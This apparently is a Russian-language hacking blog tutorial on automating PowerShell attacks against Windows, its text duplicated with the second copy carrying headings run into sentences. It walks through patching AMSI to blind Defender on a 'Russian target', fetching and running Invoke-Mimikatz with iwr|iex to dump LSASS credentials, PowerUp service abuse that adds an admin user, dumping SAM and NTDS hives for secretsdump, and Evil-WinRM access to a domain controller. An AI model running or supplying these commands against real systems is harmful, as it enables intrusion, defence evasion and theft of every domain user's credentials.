Добро пожаловать обратно, хакеры!
В течение довольно долгого времени мы рассматривали различные способы использования PowerShell хакерами. Мы изучили основы разведки, методы обеспечения стойкости, техники выживания, уловки уклонения и методы нанесения ущерба. Сегодня мы продолжаем изучать PowerShell и узнаем, как автоматизировать его для решения реальных хакерских задач, таких как повышение привилегий, обход AMSI и дамп учётных данных. Как видите, PowerShell может использоваться для эксплуатации систем, хотя он никогда не создавался для этой цели. Наша цель — упростить для вас автоматизацию эксплуатации во время пентестов. То, что обычно выполняется вручную, можно автоматизировать с помощью скриптов, которые мы рассмотрим. Давайте начнём с изучения AMSI.
AMSI — это интерфейс сканирования вредоносных программ. Это функция Windows, которая располагается между скриптовыми движками, такими как PowerShell или макросы Office, и любым антивирусом или продуктом EDR, установленным на компьютере. При выполнении скрипта или полезной нагрузки среда выполнения передает это содержимое AMSI, чтобы средство безопасности могло просканировать его до запуска чего-либо опасного. Это делает скрипты и активность памяти видимыми для инструментов безопасности, что повышает планку для простых атак на основе скриптов и вредоносных программ. Хакеры постоянно ищут способы предотвратить доступ к вредоносному контенту или изменить его так, чтобы он не соответствовал правилам обнаружения. Вы увидите множество статей и инструментов, утверждающих, что они обходят AMSI, но вскоре после их выпуска Microsoft устраняет уязвимости. Поскольку важно быть знакомым с этой атакой, давайте протестируем нашу систему и попробуем исправить AMSI.
Для начала нам нужно проверить, работает ли Defender на российской цели:
PS > Get-WmiObject -Class Win32_Service -Filter “Name=’WinDefend’”
И это так. Если бы он был выключен, нам не понадобился бы обход AMSI, и мы могли бы сразу приступить к исследованиям.
https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/shantanukhande-amsi.ps1
Как вы уже знаете, есть несколько способов выполнения скриптов в PowerShell. Для демонстрации мы воспользуемся простым способом:
PS > .\shantanukhande-amsi.ps1
Если ваш вывод совпадает с нашим, то AMSI успешно пропатчен. С этого момента Defender не имеет доступа к вашим сеансам PowerShell, и в нём можно выполнять любые скрипты без ограничений. Важно отметить, что в некоторых статьях об обходе AMSI утверждается, что понижение версии PowerShell до PowerShell версии 2 помогает избежать обнаружения, но это неправда. По крайней мере, сейчас. Defender активно отслеживает все ваши сеансы, и эти простые трюки не сработают.
Поскольку вы можете запускать всё, что угодно, мы можем запустить Mimikatz прямо в нашем сеансе. Обратите внимание, что мы используем Invoke-Mimikatz.ps1 от g4uss47, и это обновлённая версия Mimikatz для PowerShell, которая действительно работает. Из соображений безопасности (OPSEC) мы не рекомендуем запускать команды Mimikatz, затрагивающие другие хосты, поскольку сетевые продукты безопасности могут это обнаружить. Вместо этого давайте создадим дамп LSASS локально и посмотрим на результаты:
PS > iwr http://raw.githubusercontent.com/g4uss47/Invoke-Mimikatz/refs/heads/master/Invoke-Mimikatz.ps1 | iex
PS > Invoke-Mimikatz -DumpCreds
Теперь у нас есть учётные данные brandmanager. Если бы мы взломали более ценную цель в домене, например, сервер или базу данных, мы могли бы ожидать учётные данные администратора домена. Вы будете видеть это довольно часто.
Запустим PowerUp и найдем уязвимые службы:
PS > iwr https://raw.githubcontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Privesc/PowerUp.ps1 | iex
PS > Get-UnquotedService
Теперь давайте проверим имена служб и посмотрим, какая из них даст нам права локального администратора:
PS > Invoke-ServiceAbuse -Name 'Service Name'
В случае успеха вы увидите имя затронутой службы и выполненную ею команду. По умолчанию скрипт создаст и добавит пользователя john в локальную группу администраторов. Вы можете изменить её по своему усмотрению.
Результаты можно проверить:
PS > net user john
Теперь у нас есть пользователь с правами администратора на этой машине, которого можно использовать для различных целей.
При наличии достаточных привилегий мы можем выгрузить NTDS и SAM, не прибегая к использованию антивирусных продуктов, просто используя встроенные функции Windows. Обычно для таких атак требуется несколько команд, поскольку выгрузка только NTDS или только куста SAM не помогает. Поэтому мы добавили новый скрипт в наш репозиторий. Он автоматически определит тип хоста, на котором он запущен, и выгрузит необходимые файлы. NTDS существует только на контроллерах домена и содержит учётные данные всех пользователей Active Directory. Этот файл недоступен на обычных компьютерах. Вместо этого обычные компьютеры будут эксплуатироваться путём выгрузки их кустов SAM и SYSTEM. Скрипт не помечен ни одним антивирусом. Ниже показано, как он работает.
PS > powershell -ep bypass
Затем сделайте дамп кустов SAM и SYSTEM:
PS > .\ntds.ps1
Подождите несколько секунд и найдите свои файлы в C:\Temp. Если каталог не существует, скрипт его создаст.
Далее нам необходимо отфильтровать эти файлы и извлечь учетные данные:
bash$ > secretsdump.py -sam SAM -system SYSTEM LOCAL
Мы часто используем Evil-WinRM, чтобы избежать ненужного взаимодействия с графическим интерфейсом, которое легко заметить. Evil-WinRM позволяет загружать все скрипты с машины, чтобы они выполнялись без обращения к диску. Он также может устанавливать исправления AMSI, но будьте очень осторожны.
Подключение к DC:
c2 > evil-winrm -i DC -u admin -p password -s ‘/home/user/scripts/’
Теперь вы можете выполнять свои скрипты:
PS > ntds.ps1
У Evil-WinRM есть команда для скачивания, которая поможет вам извлечь файлы. После этого выполните следующую команду:
bash$ > secretsdump.py -ntds ntds.dit -sam SAM -system SYSTEM LOCAL
В течение довольно долгого времени мы рассматривали различные способы использования PowerShell хакерами. Мы изучили основы разведки, методы обеспечения стойкости, техники выживания, уловки уклонения и методы нанесения ущерба. Сегодня мы продолжаем изучать PowerShell и узнаем, как автоматизировать его для решения реальных хакерских задач, таких как повышение привилегий, обход AMSI и дамп учётных данных. Как видите, PowerShell может использоваться для эксплуатации систем, хотя он никогда не создавался для этой цели. Наша цель — упростить для вас автоматизацию эксплуатации во время пентестов. То, что обычно выполняется вручную, можно автоматизировать с помощью скриптов, которые мы рассмотрим. Давайте начнём с изучения AMSI.
Обход AMSI
Репо:
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-PowershellAMSI — это интерфейс сканирования вредоносных программ. Это функция Windows, которая располагается между скриптовыми движками, такими как PowerShell или макросы Office, и любым антивирусом или продуктом EDR, установленным на компьютере. При выполнении скрипта или полезной нагрузки среда выполнения передает это содержимое AMSI, чтобы средство безопасности могло просканировать его до запуска чего-либо опасного. Это делает скрипты и активность памяти видимыми для инструментов безопасности, что повышает планку для простых атак на основе скриптов и вредоносных программ. Хакеры постоянно ищут способы предотвратить доступ к вредоносному контенту или изменить его так, чтобы он не соответствовал правилам обнаружения. Вы увидите множество статей и инструментов, утверждающих, что они обходят AMSI, но вскоре после их выпуска Microsoft устраняет уязвимости. Поскольку важно быть знакомым с этой атакой, давайте протестируем нашу систему и попробуем исправить AMSI.
Для начала нам нужно проверить, работает ли Defender на российской цели:
PS > Get-WmiObject -Class Win32_Service -Filter “Name=’WinDefend’”
И это так. Если бы он был выключен, нам не понадобился бы обход AMSI, и мы могли бы сразу приступить к исследованиям.
Патч AMSI
Далее приступаем к патчингу AMSI с помощью нашего скрипта, который вы можете найти по следующей ссылке:https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/shantanukhande-amsi.ps1
Как вы уже знаете, есть несколько способов выполнения скриптов в PowerShell. Для демонстрации мы воспользуемся простым способом:
PS > .\shantanukhande-amsi.ps1
Если ваш вывод совпадает с нашим, то AMSI успешно пропатчен. С этого момента Defender не имеет доступа к вашим сеансам PowerShell, и в нём можно выполнять любые скрипты без ограничений. Важно отметить, что в некоторых статьях об обходе AMSI утверждается, что понижение версии PowerShell до PowerShell версии 2 помогает избежать обнаружения, но это неправда. По крайней мере, сейчас. Defender активно отслеживает все ваши сеансы, и эти простые трюки не сработают.
Сброс учетных данных с помощью Mimikatz
Репо:
http://raw.githubusercontent.com/g4uss47/Invoke-Mimikatz/refs/heads/master/Invoke-Mimikatz.ps1Поскольку вы можете запускать всё, что угодно, мы можем запустить Mimikatz прямо в нашем сеансе. Обратите внимание, что мы используем Invoke-Mimikatz.ps1 от g4uss47, и это обновлённая версия Mimikatz для PowerShell, которая действительно работает. Из соображений безопасности (OPSEC) мы не рекомендуем запускать команды Mimikatz, затрагивающие другие хосты, поскольку сетевые продукты безопасности могут это обнаружить. Вместо этого давайте создадим дамп LSASS локально и посмотрим на результаты:
PS > iwr http://raw.githubusercontent.com/g4uss47/Invoke-Mimikatz/refs/heads/master/Invoke-Mimikatz.ps1 | iex
PS > Invoke-Mimikatz -DumpCreds
Теперь у нас есть учётные данные brandmanager. Если бы мы взломали более ценную цель в домене, например, сервер или базу данных, мы могли бы ожидать учётные данные администратора домена. Вы будете видеть это довольно часто.
Повышение привилегий с помощью PowerUp
Повышение привилегий — сложная тема. Зачастую системы настроены неправильно, и пользователи чувствуют себя комфортно, не осознавая наличия угроз безопасности. Это может позволить вам полностью пропустить повышение привилегий и сразу перейти к горизонтальному перемещению, поскольку скомпрометированный пользователь уже имеет высокие привилегии. Существует множество векторов повышения привилегий, но среди наиболее распространённых — некавычки в пути к службам и небезопасные разрешения на файлы. Хотя небезопасные разрешения на файлы можно легко использовать, заменив легитимный файл вредоносным с тем же именем, некавычки в путях к службам могут потребовать больше усилий от новичка. Поэтому сегодня мы рассмотрим эту атаку с помощью PowerUp. Прежде чем продолжить, важно отметить, что этот скрипт давно известен продуктам безопасности, поэтому будьте осторожны.Поиск уязвимых сервисов
Путь службы без кавычек — это ошибка конфигурации служб Windows, при которой полный путь к исполняемому файлу службы содержит пробелы, но не заключён в кавычки. Поскольку Windows обрабатывает пробелы как разделители при определении путей к файлам, путь без кавычек, например, C:\Program Files\My Service\service.exeможет быть интерпретирован неоднозначно. Система может искать исполняемый файл на более ранних, более коротких участках этого пути (например C:\Program.exe, или C:\Program Files\My.exe), прежде чем достичь нужного service.exe. Хакер может разместить свой исполняемый файл в одном из этих более ранних мест, и система запустит эту программу вместо настоящего исполняемого файла службы. Это работает как метод повышения привилегий, поскольку службы обычно работают с более высокими привилегиями.Запустим PowerUp и найдем уязвимые службы:
PS > iwr https://raw.githubcontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Privesc/PowerUp.ps1 | iex
PS > Get-UnquotedService
Теперь давайте проверим имена служб и посмотрим, какая из них даст нам права локального администратора:
PS > Invoke-ServiceAbuse -Name 'Service Name'
В случае успеха вы увидите имя затронутой службы и выполненную ею команду. По умолчанию скрипт создаст и добавит пользователя john в локальную группу администраторов. Вы можете изменить её по своему усмотрению.
Результаты можно проверить:
PS > net user john
Теперь у нас есть пользователь с правами администратора на этой машине, которого можно использовать для различных целей.
Атака на NTDS и SAM
Репо:
https://github.com/soupbone89/Scripts/tree/main/NTDS-SAM DumperПри наличии достаточных привилегий мы можем выгрузить NTDS и SAM, не прибегая к использованию антивирусных продуктов, просто используя встроенные функции Windows. Обычно для таких атак требуется несколько команд, поскольку выгрузка только NTDS или только куста SAM не помогает. Поэтому мы добавили новый скрипт в наш репозиторий. Он автоматически определит тип хоста, на котором он запущен, и выгрузит необходимые файлы. NTDS существует только на контроллерах домена и содержит учётные данные всех пользователей Active Directory. Этот файл недоступен на обычных компьютерах. Вместо этого обычные компьютеры будут эксплуатироваться путём выгрузки их кустов SAM и SYSTEM. Скрипт не помечен ни одним антивирусом. Ниже показано, как он работает.
Атака SAM на доменных машинах
Чтобы избежать проблем, обойдите политику выполнения:PS > powershell -ep bypass
Затем сделайте дамп кустов SAM и SYSTEM:
PS > .\ntds.ps1
Подождите несколько секунд и найдите свои файлы в C:\Temp. Если каталог не существует, скрипт его создаст.
Далее нам необходимо отфильтровать эти файлы и извлечь учетные данные:
bash$ > secretsdump.py -sam SAM -system SYSTEM LOCAL
Атака NTDS на контроллерах домена
Если вы уже скомпрометировали администратора домена или сумели повысить свои привилегии на контроллере домена, вам может потребоваться получить учетные данные всех пользователей в компании.Мы часто используем Evil-WinRM, чтобы избежать ненужного взаимодействия с графическим интерфейсом, которое легко заметить. Evil-WinRM позволяет загружать все скрипты с машины, чтобы они выполнялись без обращения к диску. Он также может устанавливать исправления AMSI, но будьте очень осторожны.
Подключение к DC:
c2 > evil-winrm -i DC -u admin -p password -s ‘/home/user/scripts/’
Теперь вы можете выполнять свои скрипты:
PS > ntds.ps1
У Evil-WinRM есть команда для скачивания, которая поможет вам извлечь файлы. После этого выполните следующую команду:
bash$ > secretsdump.py -ntds ntds.dit -sam SAM -system SYSTEM LOCAL